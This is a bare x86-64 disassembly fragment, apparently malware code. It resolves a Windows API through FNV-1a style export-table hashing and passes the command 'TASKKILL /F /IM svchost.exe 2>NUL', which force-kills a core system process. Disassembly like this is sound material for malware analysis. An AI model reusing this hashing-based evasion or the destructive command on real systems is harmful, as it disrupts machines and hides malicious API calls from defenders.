nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14001a1f0
cmp r8d, 0x491e0a9c
je 0x14001a21c
test r9d, r9d
jne 0x14001a1d0
mov rax, qword [rax]
jmp 0x14001a1a0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, str.TASKKILL__F__IM_svchost.exe_2_NULL
add rax, r10
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax